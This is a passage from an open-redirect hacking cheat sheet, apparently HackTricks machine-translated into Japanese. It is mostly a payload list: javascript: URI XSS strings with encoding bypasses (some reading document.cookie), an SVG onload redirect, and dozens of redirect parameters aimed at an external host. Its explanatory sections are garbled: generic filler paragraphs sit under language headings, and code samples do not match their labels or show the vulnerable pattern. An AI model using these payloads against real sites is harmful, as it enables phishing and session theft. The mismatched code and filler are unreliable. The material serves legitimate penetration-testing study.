18 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
-
ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。
オープンリダイレクト
ローカルホストまたは任意のドメインへのリダイレクト
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
XSSへのオープンリダイレクト
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)
#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
SVGファイルをアップロードすることによるオープンリダイレクト
概要
オープンリダイレクトは、ウェブアプリケーションの脆弱性の一つであり、攻撃者がユーザーを信じさせる偽のURLにリダイレクトさせることができます。この脆弱性は、ウェブアプリケーションが外部のURLにリダイレクトする際に、ユーザーが指定したパラメータを信用せずに使用する場合に発生します。
SVG(Scalable Vector Graphics)は、XMLベースのベクターグラフィックス形式であり、ウェブアプリケーションでよく使用されます。SVGファイルをアップロードする機能がある場合、攻撃者はSVGファイル内に悪意のあるリダイレクトURLを埋め込むことができます。
攻撃手法
以下の手順に従って、SVGファイルを使用したオープンリダイレクト攻撃を実行することができます。
- 攻撃者は、ウェブアプリケーションにSVGファイルをアップロードする機能があることを特定します。
- 攻撃者は、SVGファイル内に悪意のあるリダイレクトURLを埋め込みます。例えば、
<svg onload="window.location.href='https://malicious-website.com'">
のようなコードを使用します。 - 攻撃者は、悪意のあるSVGファイルをアップロードします。
- ユーザーが攻撃者が作成したリンクやアップロードされたSVGファイルをクリックすると、攻撃者が指定した悪意のあるURLにリダイレクトされます。
対策方法
オープンリダイレクト攻撃を防ぐためには、以下の対策を実施することが重要です。
- リダイレクト先のURLを信用せず、常に信頼できるURLを使用する。
- リダイレクト先のURLをユーザーが指定したパラメータから生成する場合は、入力値の検証とエスケープ処理を行う。
- ファイルのアップロード機能を提供する場合は、アップロードされたファイルの内容を検証し、信頼できる形式のみを許可する。
以上の対策を実施することで、オープンリダイレクト攻撃からウェブアプリケーションを保護することができます。
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
一般的なインジェクションパラメータ
An open redirect vulnerability occurs when a web application allows users to redirect to external URLs without proper validation. Attackers can exploit this vulnerability to redirect users to malicious websites, phishing pages, or other harmful destinations.
Open redirect vulnerabilities often occur when a web application uses user-supplied input to construct a redirect URL. Attackers can manipulate the input to redirect users to a URL of their choice.
Common injection parameters that can be exploited for open redirect attacks include:
-
url: This parameter is used to specify the target URL for redirection. Attackers can manipulate this parameter to redirect users to a malicious website.
-
redirect: Similar to the url parameter, this parameter is used to specify the target URL for redirection. Attackers can manipulate this parameter to redirect users to a malicious website.
-
next: This parameter is often used to specify the next page or URL to redirect users after a successful action. Attackers can manipulate this parameter to redirect users to a malicious website.
-
return: Similar to the next parameter, this parameter is used to specify the return URL after a successful action. Attackers can manipulate this parameter to redirect users to a malicious website.
-
callback: This parameter is commonly used in JSONP (JSON with Padding) requests to specify the callback function. Attackers can manipulate this parameter to redirect users to a malicious website.
It is important for developers to properly validate and sanitize user-supplied input before using it to construct redirect URLs. Implementing proper input validation and output encoding can help prevent open redirect vulnerabilities.
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
using System;
using System.Web;
namespace OpenRedirect
{
public class Redirect
{
public static void Main(string[] args)
{
string redirectUrl = "https://www.example.com";
string redirectParam = "redirectUrl";
string encodedUrl = HttpUtility.UrlEncode(redirectUrl);
string redirectPath = $"https://www.example.com/redirect?{redirectParam}={encodedUrl}";
Response.Redirect(redirectPath);
}
}
}
PHP
<?php
$redirectUrl = "https://www.example.com";
$redirectParam = "redirectUrl";
$encodedUrl = urlencode($redirectUrl);
$redirectPath = "https://www.example.com/redirect?" . $redirectParam . "=" . $encodedUrl;
header("Location: " . $redirectPath);
exit;
?>
Python
import urllib.parse
redirect_url = "https://www.example.com"
redirect_param = "redirectUrl"
encoded_url = urllib.parse.quote(redirect_url)
redirect_path = f"https://www.example.com/redirect?{redirect_param}={encoded_url}"
print(f"Location: {redirect_path}")
Ruby
require 'cgi'
redirect_url = "https://www.example.com"
redirect_param = "redirectUrl"
encoded_url = CGI.escape(redirect_url)
redirect_path = "https://www.example.com/redirect?" + redirect_param + "=" + encoded_url
puts "Location: #{redirect_path}"
Java
import java.net.URLEncoder;
public class Redirect {
public static void main(String[] args) {
String redirectUrl = "https://www.example.com";
String redirectParam = "redirectUrl";
String encodedUrl = URLEncoder.encode(redirectUrl, "UTF-8");
String redirectPath = "https://www.example.com/redirect?" + redirectParam + "=" + encodedUrl;
System.out.println("Location: " + redirectPath);
}
}
JavaScript
const redirectUrl = "https://www.example.com";
const redirectParam = "redirectUrl";
const encodedUrl = encodeURIComponent(redirectUrl);
const redirectPath = `https://www.example.com/redirect?${redirectParam}=${encodedUrl}`;
console.log(`Location: ${redirectPath}`);
response.redirect("~/mysafe-subdomain/login.aspx")
Java
Javaは、オブジェクト指向プログラミング言語であり、広く使用されています。Javaは、セキュリティ、ポータビリティ、パフォーマンスの面で優れた特徴を持っています。Javaは、Webアプリケーションの開発にも広く使用されており、セキュリティの観点からも注意が必要です。
オープンリダイレクトの脆弱性
オープンリダイレクトは、Webアプリケーションのセキュリティ上の脆弱性の一つです。オープンリダイレクトは、攻撃者が悪意のあるURLを作成し、ユーザーを信頼できないサイトにリダイレクトすることができる脆弱性です。攻撃者は、ユーザーを偽のログインページやフィッシングサイトに誘導することができます。
オープンリダイレクトの攻撃手法
オープンリダイレクトの攻撃手法には、以下のようなものがあります。
- ユーザーがクリックするリンクに悪意のあるURLを埋め込む
- リダイレクト先のURLを改ざんする
- リダイレクト先のURLにパラメータを追加する
オープンリダイレクトの防止策
オープンリダイレクトの脆弱性を防ぐためには、以下の対策を実施することが重要です。
- ユーザーからの入力を信頼しない
- リダイレクト先のURLをホワイトリストで制限する
- リダイレクト先のURLをエンコードする
- セキュリティテストを実施し、脆弱性を特定して修正する
オープンリダイレクトの脆弱性は、攻撃者によるユーザーの誘導やフィッシング攻撃につながる可能性があります。そのため、Webアプリケーションの開発者やセキュリティ担当者は、オープンリダイレクトの脆弱性に対して注意を払い、適切な対策を実施する必要があります。
response.redirect("http://mysafedomain.com");
PHP
オープンリダイレクト
オープンリダイレクトは、ウェブアプリケーションのセキュリティ上の脆弱性であり、攻撃者がユーザーを信じさせるリンクを作成し、そのリンクをクリックさせることで、攻撃者が任意のURLにリダイレクトさせることができます。
オープンリダイレクトの攻撃は、主に以下のような場面で悪用されます。
- ユーザーが信頼しているウェブサイトからのリンクをクリックした場合
- ユーザーがメールやソーシャルメディアのメッセージ内のリンクをクリックした場合
攻撃者は、オープンリダイレクトを利用して、以下のような悪意のある行為を行うことができます。
- ユーザーの個人情報を盗むためにフィッシングサイトにリダイレクトする
- ユーザーをマルウェアに感染させるために悪意のあるサイトにリダイレクトする
- ユーザーを詐欺サイトにリダイレクトして、不正な取引を行わせる
オープンリダイレクトの脆弱性を悪用するためには、以下のような攻撃ベクトルを使用することができます。
- クエリパラメーターを使用してリダイレクト先のURLを指定する
- リダイレクト先のURLをユーザーの入力に基づいて構築する
オープンリダイレクトの脆弱性を防ぐためには、以下の対策を実施することが重要です。
- リダイレクト先のURLをホワイトリストで制限する
- リダイレクト先のURLをエンコードする
- ユーザーの入力を適切に検証する
オープンリダイレクトの脆弱性は、ウェブアプリケーションのセキュリティに重大なリスクをもたらすため、開発者は適切な対策を講じる必要があります。
<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>
ツール
リソース
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect では、フジングリストを見つけることができます。
https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
https://github.com/cujanovic/Open-Redirect-Payloads
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしましょう。
-
**ハッキングのトリックを共有するには、hacktricks repoとhacktricks-cloud repo**にPRを提出してください。